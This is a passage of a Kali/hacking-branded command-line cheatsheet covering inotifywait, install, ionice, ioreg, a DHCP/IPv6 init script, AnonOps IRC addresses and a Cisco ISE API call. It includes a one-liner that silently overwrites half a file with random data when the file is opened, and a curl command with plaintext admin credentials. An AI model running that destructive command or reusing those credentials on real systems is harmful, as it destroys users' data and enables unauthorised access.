# ██╗███╗ ██╗██████╗ ███████╗███╗ ██╗████████╗
# ██║████╗ ██║██╔══██╗██╔════╝████╗ ██║╚══██╔══╝
# ██║██╔██╗ ██║██║ ██║█████╗ ██╔██╗ ██║ ██║
# ██║██║╚██╗██║██║ ██║██╔══╝ ██║╚██╗██║ ██║
# ██║██║ ╚████║██████╔╝███████╗██║ ╚████║ ██║
# ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝
# format C/C++ source according to the style of Kernighan and Ritchie (K&R), no tabs, 3 spaces per indent, wrap lines at 120 characters.
indent -i3 -kr -nut -l120
#==============================##==============================#
# CMD INDENT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command indent in a clear format. This allows users to quickly access the needed information for indent without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for indent are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
61 - 🖥️inotifywait
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the inotifywait command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗███╗ ██╗ ██████╗ ████████╗██╗███████╗██╗ ██╗██╗ ██╗ █████╗ ██╗████████╗
# ██║████╗ ██║██╔═══██╗╚══██╔══╝██║██╔════╝╚██╗ ██╔╝██║ ██║██╔══██╗██║╚══██╔══╝
# ██║██╔██╗ ██║██║ ██║ ██║ ██║█████╗ ╚████╔╝ ██║ █╗ ██║███████║██║ ██║
# ██║██║╚██╗██║██║ ██║ ██║ ██║██╔══╝ ╚██╔╝ ██║███╗██║██╔══██║██║ ██║
# ██║██║ ╚████║╚██████╔╝ ██║ ██║██║ ██║ ╚███╔███╔╝██║ ██║██║ ██║
# ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝
inotifywait -e open art.jpg && s=$(stat -c %s art.jpg );h=$(($s/2));r=$((s-h)); dd if=/dev/urandom | grep -a -o -P "[\x01-\xD0]" | tr -d $'\n' | dd of=art.jpg bs=1 seek=$h count=$r
# Digitally "shred" half a file after it is opened.
#Block all brute force attacks in realtime (IPv4/SSH)
# Was to long with a loop, use a while loop for have it running 24/7
inotifywait -r -q --format %w /var/log/auth.log|grep -i "Failed pass"|tail -n 1|grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}';iptables -I INPUT -i eth0 -s "$(cat /var/log/auth.log|grep "authentication failure; l"|awk -Frhost= '{print $2}'|tail -n 1)" -j DROP
inotifywait -m -r -e close_write . | while read dir op file ; do [[ "$op" =~ CLOSE ]] && cp -va "${dir}${file}" ../saved/ ; done
# Use inotifywait on Linux to *try* to copy a file (outside the tree) after it's closed and before it's removed. Note: This may not be fast enough.
# Block all brute force attacks in realtime (IPv4/SSH) -> Was to long with a loop, use a while loop for have it running 24/7
inotifywait -r -q --format %w /var/log/auth.log|grep -i "Failed pass"|tail -n 1|grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}';iptables -I INPUT -i eth0 -s "$(cat /var/log/auth.log|grep "authentication failure; l"|awk -Frhost= '{print $2}'|tail -n 1)" -j DROP
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command inotifywait in a clear format. This allows users to quickly access the needed information for inotifywait without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for inotifywait are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
62 - 🖥️install
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the install command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗
# ██║████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║
# ██║██╔██╗ ██║███████╗ ██║ ███████║██║ ██║
# ██║██║╚██╗██║╚════██║ ██║ ██╔══██║██║ ██║
# ██║██║ ╚████║███████║ ██║ ██║ ██║███████╗███████╗
# ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝
# To create files with specific permission:
install -b -m 777 /dev/null file.txt
# Copy or create files with specific permissions and ownership
install -b -m 600 /dev/null NEWFILE
# Explanation: This example creates a new (empty) file with permissions 600. You could also specify the owner and group using the -o and -g flags respectively.
# Although you could accomplish the same for example by creating the file with touch and then change permissions with chmod and chown, or use umask to control the permissions of newly created files, those methods take multiple steps, while with install it is a single step. You can also use install to copy multiple files to a directory with specified permissions like this:
install -m 600 -o jack -g wheel file1 file2 /path/to/existing/dir
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command install in a clear format. This allows users to quickly access the needed information for install without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for install are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
63 - 🖥️ionice
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ionice command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██████╗ ███╗ ██╗██╗ ██████╗███████╗
# ██║██╔═══██╗████╗ ██║██║██╔════╝██╔════╝
# ██║██║ ██║██╔██╗ ██║██║██║ █████╗
# ██║██║ ██║██║╚██╗██║██║██║ ██╔══╝
# ██║╚██████╔╝██║ ╚████║██║╚██████╗███████╗
# ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝
ionice -c 3 cp vm1.img vm1-clone.img
# Copy a file using "ionice -c 3" to give it idle priority to reduce load on the system.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ionice in a clear format. This allows users to quickly access the needed information for ionice without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ionice are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
64 - 🖥️ioreg
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ioreg command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██████╗ ██████╗ ███████╗ ██████╗
# ██║██╔═══██╗██╔══██╗██╔════╝██╔════╝
# ██║██║ ██║██████╔╝█████╗ ██║ ███╗
# ██║██║ ██║██╔══██╗██╔══╝ ██║ ██║
# ██║╚██████╔╝██║ ██║███████╗╚██████╔╝
# ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝
# show I/O Kit registry (Mac OS X)
# find out the arch of the efi firmware in a Mac
ioreg -l -p IODeviceTree | grep firmware-abi
# Get Hardware UUID in Mac OS X
ioreg -d2 -c IOPlatformExpertDevice | awk -F\" '/IOPlatformUUID/{print $(NF-1)}'
# Get Hardware UUID in Mac OS X - Formats the output from `ioreg` into XML, then parses the XML with `xmllint`'s xpath feature. Show Sample Output
ioreg -ad2 -c IOPlatformExpertDevice | xmllint --xpath '//key[.="IOPlatformUUID"]/following-sibling::*[1]/text()' -
#==============================##==============================#
# CMD IOREG #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ioreg in a clear format. This allows users to quickly access the needed information for ioreg without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ioreg are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
65 - 🖥️IPv6
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the IPv6 command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗██████╗ ██╗ ██╗ ██████╗
# ██║██╔══██╗██║ ██║██╔════╝
# ██║██████╔╝██║ ██║███████╗
# ██║██╔═══╝ ╚██╗ ██╔╝██╔═══██╗
# ██║██║ ╚████╔╝ ╚██████╔╝
# ╚═╝╚═╝ ╚═══╝ ╚═════╝
Das ISC-DHCP Startscript unter /etc/init.d/isc-dhcp-server startet bei neueren systemen den Serverdienst. (alt /etc/init.d/dhcpd).
Das Startscript liest dabei die /etc/default/isc-dhcp-server config Datei ein, welch ihrerseits wieder die config files des dhcp selber einlesen (unter /etc/dhcp/dhcpd.conf)
In der /etc/default/isc-dhcp-server kann z.B. gesagt werden per config line:
INTERFACES="eth1"
DHCPD_CONF=/etc/dhcp/isc-dhcp-server6.conf
Das der DHCP Server auf ein anderes Interface hören soll und eine eigene konfig auslesen soll.
# IPv6 im Zonenfile für die Testzone srv8998.lxu.io angelegt um bind ipv6 für die Zone festzulegen
[email protected]:/var/lib/named/master# vi srv8998.lxu.io.hosts
TXT "929bd6b1960356d8c32199b4eed1e681bf"
ipv6host AAAA 2005:1204:123:4567:89ab:cdef:1234:5688
###################################################
#[email protected]:/etc/init.d/isc-dhcp-server
#!/bin/sh
### BEGIN INIT INFO
# Provides: isc-dhcp-server
# Required-Start: $remote_fs $network $syslog
# Required-Stop: $remote_fs $network $syslog
# Should-Start: $local_fs slapd $named
# Should-Stop: $local_fs slapd
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: DHCP server
# Description: Dynamic Host Configuration Protocol Server
### END INIT INFO
PATH=/sbin:/bin:/usr/sbin:/usr/bin
test -f /usr/sbin/dhcpd || exit 0
DHCPD_DEFAULT="${DHCPD_DEFAULT:-/etc/default/isc-dhcp-server}"
# It is not safe to start if we don't have a default configuration...
if [ ! -f "$DHCPD_DEFAULT" ]; then
echo "$DHCPD_DEFAULT does not exist! - Aborting..."
if [ "$DHCPD_DEFAULT" = "/etc/default/isc-dhcp-server" ]; then
echo "Run 'dpkg-reconfigure isc-dhcp-server' to fix the problem."
fi
exit 0
fi
. /lib/lsb/init-functions
# Read init script configuration
[ -f "$DHCPD_DEFAULT" ] && . "$DHCPD_DEFAULT"
NAME4=dhcpd
NAME6=dhcpd6
DESC4="ISC DHCPv4 server"
DESC6="ISC DHCPv6 server"
# use already specified config file or fallback to defaults
DHCPDv4_CONF=${DHCPDv4_CONF:-/etc/dhcp/dhcpd.conf}
DHCPDv6_CONF=${DHCPDv6_CONF:-/etc/dhcp/dhcpd6.conf}
# try to read pid file name from config file or fallback to defaults
if [ -z "$DHCPDv4_PID" ]; then
DHCPDv4_PID=$(sed -n -e 's/^[ \t]*pid-file-name[ \t]*"\(.*\)"[ \t]*;.*$/\1/p' < "$DHCPDv4_CONF" 2>/dev/null | head -n 1)
fi
if [ -z "$DHCPDv6_PID" ]; then
DHCPDv6_PID=$(sed -n -e 's/^[ \t]*dhcpv6-pid-file-name[ \t]*"\(.*\)"[ \t]*;.*$/\1/p' < "$DHCPDv6_CONF" 2>/dev/null | head -n 1)
fi
DHCPDv4_PID="${DHCPDv4_PID:-/var/run/dhcpd.pid}"
DHCPDv6_PID="${DHCPDv6_PID:-/var/run/dhcpd6.pid}"
test_config()
{
VERSION="$1"
CONF="$2"
if ! /usr/sbin/dhcpd -t $VERSION -q -cf "$CONF" > /dev/null 2>&1; then
echo "dhcpd self-test failed. Please fix $CONF."
echo "The error was: "
/usr/sbin/dhcpd -t $VERSION -cf "$CONF"
exit 1
fi
}
check_status()
{
OPTION="$1"
PIDFILE="$2"
NAME="$3"
if [ ! -r "$PIDFILE" ]; then
test "$OPTION" != -v || echo "$NAME is not running."
return 3
fi
if read pid < "$PIDFILE" && ps -p "$pid" > /dev/null 2>&1; then
test "$OPTION" != -v || echo "$NAME is running."
return 0
else
test "$OPTION" != -v || echo "$NAME is not running but $PIDFILE exists."
return 1
fi
}
start_daemon()
{
VERSION="$1"
CONF="$2"
NAME="$3"
PIDFILE="$4"
DESC="$5"
shift 5
INTERFACES="$*"
test_config "$VERSION" "$CONF"
log_daemon_msg "Starting $DESC" "$NAME"
if [ -e "$PIDFILE" ]; then
log_failure_msg "dhcpd service already running (pid file $PIDFILE currenty exists)"
exit 1
fi
touch /var/lib/dhcp/$NAME.leases
start-stop-daemon --start --quiet --pidfile $PIDFILE \
--exec /usr/sbin/dhcpd -- $VERSION -q -cf $CONF $INTERFACES
sleep 2
if check_status -q $PIDFILE $NAME; then
log_end_msg 0
else
log_failure_msg "check syslog for diagnostics."
log_end_msg 1
exit 1
fi
}
stop_daemon()
{
if check_status -q $DHCPDv4_PID $NAME4; then
log_daemon_msg "Stopping $DESC4" "$NAME4"
start-stop-daemon --stop --quiet --pidfile $DHCPDv4_PID
log_end_msg $?
rm -f "$DHCPDv4_PID"
fi
if check_status -q $DHCPDv6_PID $NAME6; then
log_daemon_msg "Stopping $DESC6" "$NAME6"
start-stop-daemon --stop --quiet --pidfile $DHCPDv6_PID
log_end_msg $?
rm -f "$DHCPDv6_PID"
fi
}
case "$1" in
start)
if test -n "$INTERFACES" -a -z "$INTERFACESv4"; then
echo "DHCPv4 interfaces are no longer set by the INTERFACES variable in" >&2
echo "/etc/default/isc-dhcp-server. Please use INTERFACESv4 instead." >&2
echo "Migrating automatically for now, but this will go away in the future." >&2
INTERFACESv4="$INTERFACES"
fi
if test -n "$INTERFACESv4"; then
echo "Launching IPv4 server only."
start_daemon "-4" "$DHCPDv4_CONF" "$NAME4" \
"$DHCPDv4_PID" "$DESC4" "$INTERFACESv4"
fi
if test -n "$INTERFACESv6"; then
echo "Launching IPv6 server only."
start_daemon "-6" "$DHCPDv6_CONF" "$NAME6" \
"$DHCPDv6_PID" "$DESC6" "$INTERFACESv6"
fi
if test -z "$INTERFACESv4" -a -z "$INTERFACESv6"; then
echo "Launching both IPv4 and IPv6 servers (please configure INTERFACES in /etc/default/isc-dhcp-server if you only want one or the other)."
start_daemon "-4" "$DHCPDv4_CONF" "$NAME4" \
"$DHCPDv4_PID" "$DESC4" ""
start_daemon "-6" "$DHCPDv6_CONF" "$NAME6" \
"$DHCPDv6_PID" "$DESC6" ""
fi
;;
stop)
stop_daemon
;;
restart | force-reload)
$0 stop
sleep 2
$0 start
if [ "$?" != "0" ]; then
exit 1
fi
;;
status)
if test -n "$INTERFACES" -a -z "$INTERFACESv4"; then
INTERFACESv4="$INTERFACES"
fi
if test -n "$INTERFACESv4"; then
echo -n "Status of $DESC4: "
check_status -v $DHCPDv4_PID $NAME4 || exit $?
fi
if test -n "$INTERFACESv6"; then
echo -n "Status of $DESC6: "
check_status -v $DHCPDv6_PID $NAME6 || exit $?
fi
;;
*)
echo "Usage: $0 {start|stop|restart|force-reload|status}"
exit 1
esac
exit 0
###############################################
###############################################
# /etc/default/isc-dhcp-server
# Defaults for isc-dhcp-server initscript
# sourced by /etc/init.d/isc-dhcp-server
# installed at /etc/default/isc-dhcp-server by the maintainer scripts
#
# This is a POSIX shell fragment
#
# Path to dhcpd's config file (default: /etc/dhcp/dhcpd.conf).
#DHCPD_CONF=/etc/dhcp/dhcpd.conf
# Path to dhcpd's PID file (default: /var/run/dhcpd.pid).
#DHCPD_PID=/var/run/dhcpd.pid
# Additional options to start dhcpd with.
# Don't use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead
#OPTIONS=""
# On what interfaces should the DHCP server (dhcpd) serve DHCP requests?
# Separate multiple interfaces with spaces, e.g. "eth0 eth1".
INTERFACES="eth0"
DHCPD_CONF=/etc/dhcpd.conf
DHCPD_PID=/var/lib/dhcp/var/run/dhcpd.pid
###############################################
#==============================##==============================#
# CMD IPV6 #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command IPv6 in a clear format. This allows users to quickly access the needed information for IPv6 without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for IPv6 are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
66 - 🖥️irc
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the irc command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗██████╗ ██████╗
# ██║██╔══██╗██╔════╝
# ██║██████╔╝██║
# ██║██╔══██╗██║
# ██║██║ ██║╚██████╗
# ╚═╝╚═╝ ╚═╝ ╚═════╝
#-------------------------------------------------------------------------------------#
Webchat:
http://anonymzn3twqpxq5.onion/ (mit dem Tor Browser ziemlich anonym)
Onionzugang:
anonymzn3twqpxq5.onion port 6667
AnonOps Website:
https://anonops.com/
Webchat:
https://webchat.anonops.com/
Direkt:
irc.anonops.com - nur SSL
#-------------------------------------------------------------------------------------#
00:09] == - ======================================================================================================
[00:09] == - All users are required to abide by network rules. Read these now. If you cannot abide by these rules, disconnect now.
[00:09] == - Use /rules or see https://anonops.com/rules.html
[00:09] == - ======================================================================================================
[00:09] == - We use a BOPM scanner as part of our network security. When connecting to this server you will be portscanned for open proxy ports. This is a common scan used on many IRC networks and causes no harm nor does it log your IP.
[00:09] == - ======================================================================================================
[00:09] == - Disclaimer
[00:09] == - IRC is an unmoderated medium. We do not log or scrutinise the traffic which passes through this server. We take no responsibility and explicitly disclaim any legal liability for the content of any message which passes through this server, including but not limited to any links, pictures or executable code. Our server operators have no personal involvement with activities carried out under the "Anonymous" banner.
[00:09] == - ======================================================================================================
[00:09] == - Domains: irc.anonops.com irc.anonops.su anonops.ircdrama.us
[00:09] == - Ports: 6697 SSL
[00:09] == - ======================================================================================================
[00:09] == - Tutorials: http://anonops.com/tutorials.html
[00:09] == - Network Info: http://anonops.com/network.html
[00:09] == - Questions: [email protected]
[00:09] == - Network help channel: #help
[00:09] == - ======================================================================================================
[00:09] == -
[00:09] == End of message of the day.
[00:09] == There are 71 users and 226 invisible on 6 servers
[00:09] == 5 operator(s) online
[00:09] == 200 channels formed
[00:09] == I have 204 clients and 1 servers
[00:09] == Current Local Users: 204 Max: 254
[00:09] == Current Global Users: 297 Max: 351
[00:09] == AN-gln.897.03nob5.IP is now your displayed host
[00:09] == Usermode change: +xiwIT
[00:09] -sol.anonops.com- *** You are connected using SSL cipher "DHE-RSA-AES256-GCM-SHA384"
[00:09] -Global- [Logon News - Jul 05 2013] We remind everyone to NOT click random links posted in channels or in PM. It is for your own protection.
[00:09] -Global- [Logon News - Dec 24 2016] Verify your fingerprints, it can prevent snooping! More info: https://anonops.com/security.html | New users can get help by typing /join #opnewblood
[00:09] -Global- [Random News - Feb 09 2011] IRC, its like a forum
du bist anonymous - Chat
du-bist-anonymous.de/inhalt/index.php/2014-02-25-08-33-21
oder anonymzn3twqpxq5.onion port 6667. AnonOps. Website: https://anonops.com/. Webchat: https://webchat.anonops.com/. Direkt: irc.anonops.com - nur SSL ...
#-------------------------------------------------------------------------------------#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command irc in a clear format. This allows users to quickly access the needed information for irc without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for irc are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
67 - 🖥️ise
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ise command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗███████╗███████╗
# ██║██╔════╝██╔════╝
# ██║███████╗█████╗
# ██║╚════██║██╔══╝
# ██║███████║███████╗
# ╚═╝╚══════╝╚══════╝
# TestIse auf Mars
curl -k --include --header 'Accept:application/json/' --user ersadmin:Blume2019 https://10.37.1.200:9060/ers/config/networkdevice
# https://community.cisco.com/t5/security-documents/ise-ers-api-examples/ta-p/3622623
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ise in a clear format. This allows users to quickly access the needed information for ise without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ise are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
68 - 🖥️jar
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the jar command with important options and switches using examples.
